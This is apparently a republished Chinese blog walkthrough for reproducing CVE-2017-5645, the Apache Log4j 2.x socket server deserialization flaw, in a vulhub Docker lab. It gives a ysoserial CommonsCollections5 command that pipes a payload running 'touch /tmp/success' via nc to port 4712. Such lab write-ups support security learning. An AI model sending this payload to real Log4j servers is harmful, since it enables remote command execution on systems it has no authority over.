vulhub中Apache Log4j Server 反序列化命令执行漏洞复现（CVE-2017-5645） - 码农知识堂

vulhub中Apache Log4j Server 反序列化命令执行漏洞复现（CVE-2017-5645）
Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.我们使用ysoserial生成payload，然后直接发送给`your-ip:4712`端口即可。
```
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
```
工具地址 https://github.com/frohoff/ysoserial

需要注意JDK版本的问题 https://github.com/frohoff/ysoserial/issues/203

2.然后执行`docker compose exec log4j bash`进入容器，可见 /tmp/success 已成功创建：
相关阅读:
【Linux ls -l列出的权限信息解读】
5G时代，华为云CDN为互联网海量数据内容分发服务保驾护航
 Linux 原子操作CAS与锁实现
 2022年全球市场胃管泵总体规模、主要生产商、主要地区、产品和应用细分研究报告
 很多应用都是nginx+apache+tomcat
【JavaEE初阶】多线程 _ 基础篇 _ 单例模式
 Alien Skin Exposure2024免费版图片颜色滤镜插件
 基于KDtree的电路故障检测算法的MATLAB仿真
 props 后面的数据流是什么？
基于轻量级目标检测模型实现手写汉字检测识别计数
原文地址：https://blog.csdn.net/yougexiaojiuguan/article/details/136173574